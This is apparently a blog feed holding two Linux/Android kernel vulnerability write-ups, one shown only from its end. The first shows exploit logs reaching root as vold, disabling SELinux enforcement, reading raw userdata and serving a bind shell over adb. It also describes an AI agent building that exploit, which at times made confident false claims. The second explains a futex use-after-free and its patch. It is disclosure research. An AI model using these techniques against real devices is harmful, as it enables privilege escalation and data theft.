[vold] incr(ppe-&gt;vold_sid): round 2 fired 128, target 256 -&gt; 384 (want 756)
[vold] incr(ppe-&gt;vold_sid): round 5 fired 116, target 640 -&gt; 756 (want 756)
[vold] proc_poll_event incremented to 756 (want vold sid 756)
[root] confirm_and_poll(swaps_copy_ppe_to_sid): read-confirmed (swapper/); firing swaps_poll...
[frk] epoll_wait swaps_copy_ppe_to_sid rc=1 errno=0 uid=0 euid=0 gid=0 egid=0
[vold] AAR after swaps-copy: tsec.sid=756 exec_sid=0 (want sid=756)
frk_vold: [vold] ===== T5: VERIFY (pid=9783) =====
frk_vold: [vold] /proc/self/attr/current = 'u:r:vold:s0'
frk_vold: [vold] AAR tsec.sid = 756 (vold sid = 756) =&gt; MATCH
frk_vold: [vold] independent check: adb shell su -c 'cat /proc/9783/attr/current'
frk_vold: [vold] DEMO(AFTER uid0+vold): open(/dev/block/by-name/userdata)=6411 OK  pread=512 errno=0  &lt;-- vold-domain capability
frk_vold: [vold] *** SUCCESS: transitioned to u:r:vold:s0 (real /proc/self/attr/current) ***
frk_vold: ================= FRK VOLD SHELL =================
frk_vold: delivering shell as uid=0 euid=0 gid=0 ctx=u:r:vold:s0 pid=9783
frk_vold: output channel = logcat (su-free): adb shell logcat -s frk_vold:*  [also mirrored to dmesg]
frk_vold: [proof] [proof] id      = uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:vold:s0
frk_vold: [proof] [proof] id -Z   = u:r:vold:s0
frk_vold: [proof] [proof] context = u:r:vold:s0
frk_vold: [proof] [vold-only] ls -laZ /dev/block/by-name/userdata:
frk_vold: [proof] lrwxrwxrwx 1 root root u:object_r:block_device:s0  16 2026-07-12 19:54 /dev/block/by-name/userdata -&gt; /dev/block/sda35
frk_vold: [proof] [vold-only] raw read of userdata partition (shell domain is denied this):
frk_vold: [proof]  69 94 cc 37 3a 84 a8 70 43 66 e3 55 3f 05 06 dc
frk_vold: [proof]  f1 97 0b 76 e0 32 e0 ca d8 b5 b2 51 02 2d 14 01
frk_vold: [proof] [vold-only] READ_OK: vold read raw userdata bytes
frk_vold: [stdin-probe] read(fd0='socket:[85072]') r=-1 errno=11 (Try again) -- EACCES =&gt; SELinux denies vold reading the adb stdin socket (avc in dmesg); no runtime input channel exists.
frk_vold: --shell: serving a REAL interactive /system/bin/sh over TCP as vold on 127.0.0.1:1337; epA held open by this pid=9783. enforcing was zeroed pre-bind so vold's missing tcp_socket allow does not block. Connect from the host:  adb forward tcp:1337 tcp:1337 &amp;&amp; nc 127.0.0.1 1337
frk_vold: [bindsh] *** LISTENING as vold on 127.0.0.1:1337 ***  host:  adb forward tcp:1337 tcp:1337 &amp;&amp; nc 127.0.0.1 1337
frk_vold: [bindsh] client connected -&gt; spawning /system/bin/sh -i as vold on the socket
</code></pre></div></div>

<h2 id="a-word-about-reliability">A word about reliability</h2>

<p>The finished exploit is flaky and unstable. On a bad reclaim it panics, the device reboots,
you try again. The agent got it from roughly 10% to 30% per attempt and I stopped it there
deliberately. The remaining unreliability is <em>inherent</em>. It’s the probabilistic page reclaim
fighting <code class="language-plaintext highlighter-rouge">SHUFFLE_PAGE_ALLOCATOR</code> and a busy device, and grinding it toward 100% would mean
either privileged tricks (<code class="language-plaintext highlighter-rouge">SCHED_FIFO</code>, which defeats the “unprivileged” premise) or a lot of
effort spent proving a point that’s already proven. A research exploit that fires one time in three
and reboots the other two has demonstrated everything it needs to. I’d rather it stay honestly
flaky than pretend to be a weapon.
I managed to run it w/o crashes after booting the Frankel device and waiting a minute or two.</p>

<h2 id="how-it-actually-went">How it actually went</h2>

<p>The part I find more interesting than the exploit. This ran as a supervised autonomous agent over
a long session, long enough that its context was compacted and resumed mid-exploit more than once,
with a fleet of sub-agents doing the heavy on-device experiments in parallel:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>   b5gyneegw          discard_slab kprobe / churn experiment
   af46662586...      first filp cross-cache grooming        (~26 min)
   ad8f86a181...      SCM/fork cross-cache, the "kprobe undercounts" breakthrough  (~30 min)
   a84a25f580...      fdinfo AAR via dma-buf, first arbitrary read  (~63 min)
   a3bc23a626...      the write -&gt; root agent
</code></pre></div></div>

<p>Roughly two hours of sub-agent wall-clock just to reach the read, plus the main agent’s own
recon between spawns. It was not a straight line, and it was not trustworthy without a leash.</p>

<ul>
  <li>At one point it <strong>drifted into insisting the bug didn’t exist</strong>. A sub-agent had “verified” the
device was patched and it believed the report. It was wrong. The sub-agent had checked the wrong
fix. I compacted the session with a single correction (“the device isn’t patched, continue”) and
it recovered and re-verified against the binary. Left alone, it would have confidently written up
a non-result.</li>
  <li>It twice declared cross-cache impossible, as above.</li>
  <li>I kept it on a short leash on hygiene, too. <em>“why are there two files?”</em>, <em>“commit before you
delete,”</em> <em>“don’t hallucinate.”</em> Half my messages were bookkeeping, not insight.</li>
</ul>

<p>The two moves that actually changed the outcome were both small. <strong>“try dma-buf for the reclaim”</strong>
and <strong>“gate the write on the read.”</strong> Everything else the agent did on its own. The offsets, the
fork-hold, the increment gadget, the disassembly that caught its own broken kprobe. It even caught
its own mistakes when I made it show its work.</p>

<h2 id="closing-words">Closing words</h2>

<p>tbh, I’m pretty amazed the agent managed to do this. However, I do not think it would manage to do this from scratch.
It had the bad epoll implementation on x86 already ready, it knew how to use the leak and I guided the agent to use dmabufs
to reclaim the filp object back to the generic cache. The atomic inc idea came after I asked the agent to look for increment 
primitives that allow us.
It steered easily and comfortably without many hallucinations, I was shocked. There were a few times I had to steer it
back at the right direction, but overall this was a total 48h work. I just let it run and went to bed.</p>

<p>The graph-walker bug from last post is still unexploited by the agent, perhaps me or someone else should try to exploit it too.</p>

<p>I hope you enjoyed this journey. It made me realize LLMs are not fully autonomous but given a simple researcher like me
they can greatly multiply ones force. 
I had a lot of ideas on exploiting this issue and the agent could simply execute them, so I could experiment easily.</p>

<p>I believe we are entering a stage where LLMs are unvaoidable for vulnerability research. 
They won’t find u a surface to look at without prior knowledge or help (which poses a gap only a few places can solve) but 
they will def make it easy to experiment with different directions. One direction will work.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[In the last post I burned a few weeks on Nicholas’s epoll graph-walker UAF, got a constrained write but I never turned it into anything. That bug was a blind write into a freed eventpoll and I did not try to turn it into an infoleak, so the only strategy I had was PTE corruption and the timing never lined up.]]></summary></entry><entry><title type="html">futex: remove_waiter stack uaf</title><link href="https://guysrd.github.io/rtmutex" rel="alternate" type="text/html" title="futex: remove_waiter stack uaf" /><published>2026-06-13T00:00:00+00:00</published><updated>2026-06-13T00:00:00+00:00</updated><id>https://guysrd.github.io/rtmutex</id><content type="html" xml:base="https://guysrd.github.io/rtmutex"><![CDATA[<p>This post describes a stack uaf in the Linux futex subsystem, sitting in the code since 2011 and patched in April 2026. 
It allowed any adversary with an untrusted SELinux context to elevate privileges with the right magic.
I did not reach code execution with it, I only managed to trigger it and shared my thoughts on the journey, I hope you’d like it.</p>

<details style="font-size: 0.75rem; color: #888; margin-top: 0.5rem;">
<summary>LLM Technical summary</summary>

A stack use after free in `remove_waiter()` in `kernel/locking/rtmutex.c`. The function clears `current-&gt;pi_blocked_on` but on the proxy lock path (via `FUTEX_CMP_REQUEUE_PI`), `current` is the requeuer, not the waiter. The waiter's `pi_blocked_on` is left dangling into a popped stack frame. Any subsequent PI chain walk through the waiter dereferences the stale pointer.

Introduced in v2.6.38 (commit `8161239a8bcc`, January 2011). Fixed in commit `3bfdc63936dd` (April 2026), authored by Keenan Dong, committed by Thomas Gleixner. Backported to stable 6.1.175, 6.6.140, 6.12.86, 6.18.27. Not backported to 5.15 or 5.10. Android GKI android14 6.1 and android15 6.6 patched June 8, 2026. Android13 5.10 and 5.15 remain unpatched.

Trigger: three threads, two PI futexes, force a deadlock cycle via requeue so `task_blocks_on_rt_mutex` returns `-EDEADLK` and `remove_waiter` runs in the requeuer's context. The dangling `pi_blocked_on-&gt;lock` (offset 88 in `struct rt_mutex_waiter`, 112 bytes total) is read by `task_blocked_on_lock` during any future chain walk. Stack spray controls the data.

</details>

<p>Following my last post on <a href="futex">the requeue_pi_wake_futex </a> I kept staring at the same code. 
If you need more information about futex, I encourage you to read my previous post, <a href="https://elongl.github.io/exploitation/2021/01/08/cve-2014-3153.html">Elon’s towleroot posts</a> and futex internals.
PI futex requeue is one of those weird kernel wizards where a single helper has two completely different kinds of callers: the task itself on the slowlock path, and <em>somebody else</em> acting on the task’s behalf on the proxy path. 
Any time you see <code class="language-plaintext highlighter-rouge">current</code> variable referenced inside a helper that’s reachable from both, you’re looking at a candidate bug.</p>

<p>So I tried my luck :’)
I once again ask you to read your internals about the futex subsystem before diving into this post. 
I found one candidate in the cleanup path of <code class="language-plaintext highlighter-rouge">rt_mutex_start_proxy_lock</code> that fits the pattern exactly, it was fixed upstream in commit
<a href="https://github.com/torvalds/linux/commit/3bfdc63936dd"><code class="language-plaintext highlighter-rouge">3bfdc63936dd</code></a> “rtmutex: Use waiter::task instead of current in remove_waiter()”, authored by Keenan Dong and committed by Thomas Gleixner.</p>

<p>The bug is a stack uaf, <code class="language-plaintext highlighter-rouge">task_struct-&gt;pi_blocked_on</code> gets left pointing at a <code class="language-plaintext highlighter-rouge">struct rt_mutex_waiter</code> that lives on the waiter task’s kernel stack.
When the waiter returns from its syscall the stack frame is popped, but <code class="language-plaintext highlighter-rouge">pi_blocked_on</code> keeps pointing at the slot and the slot’s bytes are immediately reusable by the task’s next syscall. 
Any future PI chain walk through the task dereferences the dangling pointer. 
I fiddled a bit with this bug.</p>

<h2 id="rt_mutex-and-pi-futexes-in-30-seconds">rt_mutex and PI futexes in 30 seconds</h2>

<p>A PI futex is a futex with an rt_mutex stapled to it. The userspace word holds the owner TID the kernel-side <code class="language-plaintext highlighter-rouge">struct futex_pi_state</code> wraps an <code class="language-plaintext highlighter-rouge">rt_mutex_base</code> and keeps it in
sync with the user word.</p>

<p><code class="language-plaintext highlighter-rouge">rt_mutex</code> is the kernel’s priority inheritance mutex implementation.
When a high priority waiter blocks on a lock held by a lower priority owner, the owner gets boosted to the waiter’s
priority until it releases. The boost walks the chain: if the owner is itself waiting on another lock, that lock’s owner gets boosted too, all the way until we hit a runnable task. 
Honestly, <code class="language-plaintext highlighter-rouge">rt_mutex_adjust_prio_chain</code> — this code is very complex and I had a very hard time reading it, to this day I don’t understand it.</p>

<p>This is where the proxy pattern enters. <code class="language-plaintext highlighter-rouge">FUTEX_CMP_REQUEUE_PI</code> is the op that <code class="language-plaintext highlighter-rouge">pthread_cond_broadcast</code> and <code class="language-plaintext highlighter-rouge">pthread_cond_signal</code> use under the hood. 
Their POSIX declarations:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;pthread.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">pthread_cond_broadcast</span><span class="p">(</span><span class="n">pthread_cond_t</span> <span class="o">*</span><span class="n">cond</span><span class="p">);</span>
<span class="kt">int</span> <span class="nf">pthread_cond_signal</span><span class="p">(</span><span class="n">pthread_cond_t</span> <span class="o">*</span><span class="n">cond</span><span class="p">);</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">pthread_cond_broadcast</code> unblocks all threads waiting on the condvar, <code class="language-plaintext highlighter-rouge">pthread_cond_signal</code> unblocks at least one.
Under the hood glibc’s NPTL (<code class="language-plaintext highlighter-rouge">nptl/pthread_cond_signal.c</code>) maps these onto the futex syscall:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* include/uapi/linux/futex.h */</span>
<span class="cp">#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">FUTEX_WAIT_REQUEUE_PI</code> is the waiter side — sleep on the condvar futex, expecting to be requeued onto a PI mutex later.
<code class="language-plaintext highlighter-rouge">FUTEX_CMP_REQUEUE_PI</code> is the broadcaster side — atomically move waiters from the condvar to the PI mutex.</p>

<p>A thread that called <code class="language-plaintext highlighter-rouge">pthread_cond_wait</code> is asleep on the condvar’s futex. When somebody calls broadcast, the kernel has to move that waiter onto the condvar’s associated PI mutex’s wait queue without waking it first.
The requeuer does that work, in its own context, on the waiter’s behalf:</p>

<pre><code class="language-mermaid">sequenceDiagram
    participant W as Waiter
    participant R as Requeuer
    participant K as Kernel

    W-&gt;&gt;K: pthread_cond_wait → FUTEX_WAIT_REQUEUE_PI(condvar, mutex)
    Note over W: parked on condvar futex, asleep
    R-&gt;&gt;K: pthread_cond_broadcast → FUTEX_CMP_REQUEUE_PI(condvar, mutex)
    K-&gt;&gt;K: rt_mutex_start_proxy_lock(mutex, waiter):&lt;br/&gt;enqueue Waiter on mutex-&gt;waiters&lt;br/&gt;(Requeuer's context, Waiter's behalf)
    K--&gt;&gt;R: return
    Note over W: still asleep,&lt;br/&gt;now a waiter on mutex
</code></pre>

<p>The kernel helper for “do an rt_mutex enqueue on another task’s behalf” is <code class="language-plaintext highlighter-rouge">rt_mutex_start_proxy_lock</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">rt_mutex_start_proxy_lock</span><span class="p">(</span><span class="k">struct</span> <span class="n">rt_mutex_base</span> <span class="o">*</span><span class="n">lock</span><span class="p">,</span>
                              <span class="k">struct</span> <span class="n">rt_mutex_waiter</span> <span class="o">*</span><span class="n">waiter</span><span class="p">,</span>
                              <span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">task</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
    <span class="n">raw_spin_lock_irq</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">wait_lock</span><span class="p">);</span>
    <span class="n">ret</span> <span class="o">=</span> <span class="n">__rt_mutex_start_proxy_lock</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">waiter</span><span class="p">,</span> <span class="n">task</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">ret</span><span class="p">))</span>
        <span class="n">remove_waiter</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">waiter</span><span class="p">);</span>
    <span class="n">raw_spin_unlock_irq</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">wait_lock</span><span class="p">);</span>
    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">task</code> is the waiter, passed explicitly. <code class="language-plaintext highlighter-rouge">current</code> is whoever is calling the requeuer in the futex path. 
The whole story is what happens when <code class="language-plaintext highlighter-rouge">task != current</code> and the cleanup code forgets which one it’s supposed to be touching.</p>

<hr />

<h2 id="triggering">Triggering</h2>

<p>This is confusing and techie, so bear with me. I hope the drawing can help you.
In order to trigger this bug we spawn (at least) three threads with two PI futexes:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Holder</code> owns the <code class="language-plaintext highlighter-rouge">target</code> rt_mutex (the one behind <code class="language-plaintext highlighter-rouge">uaddr2</code>).</li>
  <li><code class="language-plaintext highlighter-rouge">Waiter</code> owns a second PI futex called <code class="language-plaintext highlighter-rouge">other</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">Holder</code> is blocked on <code class="language-plaintext highlighter-rouge">other</code> so the kernel’s PI graph already knows “Holder wants other, owned by Waiter”.</li>
  <li><code class="language-plaintext highlighter-rouge">Waiter</code> is parked in <code class="language-plaintext highlighter-rouge">FUTEX_WAIT_REQUEUE_PI(uaddr1, ..., uaddr2)</code>, sleeping until somebody moves it onto <code class="language-plaintext highlighter-rouge">target</code>.</li>
  <li><code class="language-plaintext highlighter-rouge">Requeuer</code> calls <code class="language-plaintext highlighter-rouge">FUTEX_CMP_REQUEUE_PI(uaddr1, ..., uaddr2)</code> to do the move.</li>
</ul>

<p>When the kernel enqueues Waiter on <code class="language-plaintext highlighter-rouge">target</code> and walks the PI chain <code class="language-plaintext highlighter-rouge">Waiter → target → Holder → other → Waiter</code> it spots the cycle, 
returns <code class="language-plaintext highlighter-rouge">-EDEADLK</code> and that’s the path that calls <code class="language-plaintext highlighter-rouge">remove_waiter()</code> with the wrong <code class="language-plaintext highlighter-rouge">current</code>.</p>

<pre><code class="language-mermaid">sequenceDiagram
    participant W as Waiter (CPU 0)
    participant R as Requeuer (CPU 1)

    Note over W: parked in futex_wait_requeue_pi&lt;br/&gt;rt_waiter lives on Waiter's kstack
    R-&gt;&gt;R: futex_requeue / proxy_lock for Waiter
    R-&gt;&gt;W: task_blocks_on_rt_mutex:&lt;br/&gt;Waiter.pi_blocked_on = &amp;rt_waiter
    R-&gt;&gt;R: chain walk → cycle → -EDEADLK
    R-&gt;&gt;R: remove_waiter():&lt;br/&gt;clears current.pi_blocked_on&lt;br/&gt;current == Requeuer (wrong task)
    Note over W: Waiter.pi_blocked_on STILL = &amp;rt_waiter
    W-&gt;&gt;W: wakes, takes IGNORE path,&lt;br/&gt;returns from syscall, kstack pops
    Note over W: Waiter.pi_blocked_on dangles&lt;br/&gt;into freed stack frame
</code></pre>

<p>A few moments later any other thread (<code class="language-plaintext highlighter-rouge">Probe</code>) that blocks on a lock Waiter owns will trigger the chain walker to call <code class="language-plaintext highlighter-rouge">task_blocked_on_lock(Waiter)</code> which dereferences <code class="language-plaintext highlighter-rouge">Waiter.pi_blocked_on-&gt;lock</code>.
The shtick is that the address itself is still valid because the Waiter’s stack is allocated for as long as Waiter is alive but the data isn’t <code class="language-plaintext highlighter-rouge">rt_mutex_waiter</code> :’) 
That frame got popped when Waiter returned from <code class="language-plaintext highlighter-rouge">futex_wait_requeue_pi</code>, and the same stack region is now scratch space for whatever syscall Waiter has run since, this is crucial to understand and remember. 
Here’s how these structures actually look (<code class="language-plaintext highlighter-rouge">pahole</code>, v6.6.138, x86_64):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>struct rt_mutex_waiter {
    struct rt_waiter_node  tree;           /*     0    40 */
    struct rt_waiter_node  pi_tree;        /*    40    40 */
    struct task_struct *   task;           /*    80     8 */
    struct rt_mutex_base * lock;           /*    88     8 */  /* ← the UAF read */
    unsigned int           wake_state;     /*    96     4 */
    /* 4 bytes hole */
    struct ww_acquire_ctx * ww_ctx;        /*   104     8 */

    /* size: 112, cachelines: 2 */
};

struct rt_mutex_base {
    raw_spinlock_t         wait_lock;      /*     0     4 */
    /* 4 bytes hole */
    struct rb_root_cached  waiters;        /*     8    16 */
    struct task_struct *   owner;          /*    24     8 */

    /* size: 32 */
};
</code></pre></div></div>

<p>The chain walker dereferences these bytes as if they were still a <code class="language-plaintext highlighter-rouge">struct rt_mutex_waiter</code> and takes the <code class="language-plaintext highlighter-rouge">lock</code> field at offset 88, and that becomes the <code class="language-plaintext highlighter-rouge">next_lock</code> it follows  :’)
Spray the Waiter’s “next syscall” at one whose kernel frame plants attacker bytes at the rt_waiter offset, and you control what the chain walker reads.
You need an infoleak to win here, or be smarter in turning this bug into an infoleak primitive.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">__rt_mutex_start_proxy_lock</span><span class="p">(</span><span class="k">struct</span> <span class="n">rt_mutex_base</span> <span class="o">*</span><span class="n">lock</span><span class="p">,</span>
                                <span class="k">struct</span> <span class="n">rt_mutex_waiter</span> <span class="o">*</span><span class="n">waiter</span><span class="p">,</span>
                                <span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">task</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>
    <span class="n">lockdep_assert_held</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">wait_lock</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">try_to_take_rt_mutex</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">task</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">))</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>

    <span class="n">ret</span> <span class="o">=</span> <span class="n">task_blocks_on_rt_mutex</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">waiter</span><span class="p">,</span> <span class="n">task</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span>
                                  <span class="n">RT_MUTEX_FULL_CHAINWALK</span><span class="p">);</span>

    <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">rt_mutex_owner</span><span class="p">(</span><span class="n">lock</span><span class="p">))</span> <span class="p">{</span>
        <span class="cm">/* the owner went away while we were chain walking — call it success */</span>
        <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The interesting call is <code class="language-plaintext highlighter-rouge">task_blocks_on_rt_mutex</code> when <code class="language-plaintext highlighter-rouge">FULL_CHAINWALK</code> is set, several things happen:</p>

<ol>
  <li>Set <code class="language-plaintext highlighter-rouge">task-&gt;pi_blocked_on = waiter</code> and <code class="language-plaintext highlighter-rouge">waiter-&gt;task = task</code>.</li>
  <li>Enqueue the waiter into <code class="language-plaintext highlighter-rouge">lock-&gt;waiters</code> (rbtree).</li>
  <li>Walk the PI chain, if a cycle is detected return <code class="language-plaintext highlighter-rouge">-EDEADLK</code>.</li>
</ol>

<p>Step 1 is where the dangling pointer originates. Step 3 is where it goes wrong.</p>

<p>When the chain walk returns <code class="language-plaintext highlighter-rouge">-EDEADLK</code>, the wrapper takes the cleanup branch (v6.6.138, <code class="language-plaintext highlighter-rouge">kernel/locking/rtmutex_api.c:339</code>):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">__sched</span> <span class="nf">rt_mutex_start_proxy_lock</span><span class="p">(</span><span class="k">struct</span> <span class="n">rt_mutex_base</span> <span class="o">*</span><span class="n">lock</span><span class="p">,</span>
				      <span class="k">struct</span> <span class="n">rt_mutex_waiter</span> <span class="o">*</span><span class="n">waiter</span><span class="p">,</span>
				      <span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">task</span><span class="p">)</span>
<span class="p">{</span>
	<span class="kt">int</span> <span class="n">ret</span><span class="p">;</span>

	<span class="n">raw_spin_lock_irq</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">wait_lock</span><span class="p">);</span>
	<span class="n">ret</span> <span class="o">=</span> <span class="n">__rt_mutex_start_proxy_lock</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">waiter</span><span class="p">,</span> <span class="n">task</span><span class="p">);</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">unlikely</span><span class="p">(</span><span class="n">ret</span><span class="p">))</span>
		<span class="n">remove_waiter</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">waiter</span><span class="p">);</span>
	<span class="n">raw_spin_unlock_irq</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">wait_lock</span><span class="p">);</span>

	<span class="k">return</span> <span class="n">ret</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>and calls <code class="language-plaintext highlighter-rouge">remove_waiter</code> (v6.6.138, <code class="language-plaintext highlighter-rouge">kernel/locking/rtmutex.c:1515</code>):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="n">__sched</span> <span class="nf">remove_waiter</span><span class="p">(</span><span class="k">struct</span> <span class="n">rt_mutex_base</span> <span class="o">*</span><span class="n">lock</span><span class="p">,</span>
				  <span class="k">struct</span> <span class="n">rt_mutex_waiter</span> <span class="o">*</span><span class="n">waiter</span><span class="p">)</span>
<span class="p">{</span>
	<span class="n">bool</span> <span class="n">is_top_waiter</span> <span class="o">=</span> <span class="p">(</span><span class="n">waiter</span> <span class="o">==</span> <span class="n">rt_mutex_top_waiter</span><span class="p">(</span><span class="n">lock</span><span class="p">));</span>
	<span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">owner</span> <span class="o">=</span> <span class="n">rt_mutex_owner</span><span class="p">(</span><span class="n">lock</span><span class="p">);</span>
	<span class="k">struct</span> <span class="n">rt_mutex_base</span> <span class="o">*</span><span class="n">next_lock</span><span class="p">;</span>

	<span class="n">lockdep_assert_held</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">wait_lock</span><span class="p">);</span>

	<span class="n">raw_spin_lock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">current</span><span class="o">-&gt;</span><span class="n">pi_lock</span><span class="p">);</span>
	<span class="n">rt_mutex_dequeue</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">waiter</span><span class="p">);</span>
	<span class="n">current</span><span class="o">-&gt;</span><span class="n">pi_blocked_on</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">raw_spin_unlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">current</span><span class="o">-&gt;</span><span class="n">pi_lock</span><span class="p">);</span>

	<span class="cm">/*
	 * Only update priority if the waiter was the highest priority
	 * waiter of the lock and there is an owner to update.
	 */</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">owner</span> <span class="o">||</span> <span class="o">!</span><span class="n">is_top_waiter</span><span class="p">)</span>
		<span class="k">return</span><span class="p">;</span>

	<span class="n">raw_spin_lock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">owner</span><span class="o">-&gt;</span><span class="n">pi_lock</span><span class="p">);</span>

	<span class="n">rt_mutex_dequeue_pi</span><span class="p">(</span><span class="n">owner</span><span class="p">,</span> <span class="n">waiter</span><span class="p">);</span>

	<span class="k">if</span> <span class="p">(</span><span class="n">rt_mutex_has_waiters</span><span class="p">(</span><span class="n">lock</span><span class="p">))</span>
		<span class="n">rt_mutex_enqueue_pi</span><span class="p">(</span><span class="n">owner</span><span class="p">,</span> <span class="n">rt_mutex_top_waiter</span><span class="p">(</span><span class="n">lock</span><span class="p">));</span>

	<span class="n">rt_mutex_adjust_prio</span><span class="p">(</span><span class="n">lock</span><span class="p">,</span> <span class="n">owner</span><span class="p">);</span>

	<span class="cm">/* Store the lock on which owner is blocked or NULL */</span>
	<span class="n">next_lock</span> <span class="o">=</span> <span class="n">task_blocked_on_lock</span><span class="p">(</span><span class="n">owner</span><span class="p">);</span>

	<span class="n">raw_spin_unlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">owner</span><span class="o">-&gt;</span><span class="n">pi_lock</span><span class="p">);</span>

	<span class="cm">/*
	 * Don't walk the chain, if the owner task is not blocked
	 * itself.
	 */</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">next_lock</span><span class="p">)</span>
		<span class="k">return</span><span class="p">;</span>

	<span class="cm">/* gets dropped in rt_mutex_adjust_prio_chain()! */</span>
	<span class="n">get_task_struct</span><span class="p">(</span><span class="n">owner</span><span class="p">);</span>

	<span class="n">raw_spin_unlock_irq</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">wait_lock</span><span class="p">);</span>

	<span class="n">rt_mutex_adjust_prio_chain</span><span class="p">(</span><span class="n">owner</span><span class="p">,</span> <span class="n">RT_MUTEX_MIN_CHAINWALK</span><span class="p">,</span> <span class="n">lock</span><span class="p">,</span>
				   <span class="n">next_lock</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">current</span><span class="p">);</span>

	<span class="n">raw_spin_lock_irq</span><span class="p">(</span><span class="o">&amp;</span><span class="n">lock</span><span class="o">-&gt;</span><span class="n">wait_lock</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">current</code> here is the requeuer. We’re locking the requeuer’s <code class="language-plaintext highlighter-rouge">pi_lock</code> and clearing the requeuer’s <code class="language-plaintext highlighter-rouge">pi_blocked_on</code>. 
The waiter’s <code class="language-plaintext highlighter-rouge">pi_blocked_on</code> keeps pointing at the on-stack <code class="language-plaintext highlighter-rouge">rt_waiter</code> that the wrapper just dequeued.</p>

<p>When does this matter? When the waiter task returns from its syscall, its kernel stack rewinds. 
The <code class="language-plaintext highlighter-rouge">rt_waiter</code> is gone <code class="language-plaintext highlighter-rouge">task-&gt;pi_blocked_on</code> is now pointing into undefined memory :’)</p>

<p>The fix is simple, but requires understanding this whole clusterfuck. They replace <code class="language-plaintext highlighter-rouge">current</code> with <code class="language-plaintext highlighter-rouge">waiter-&gt;task</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">waiter_task</span> <span class="o">=</span> <span class="n">waiter</span><span class="o">-&gt;</span><span class="n">task</span><span class="p">;</span>
<span class="p">...</span>
<span class="n">raw_spin_lock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">waiter_task</span><span class="o">-&gt;</span><span class="n">pi_lock</span><span class="p">);</span>
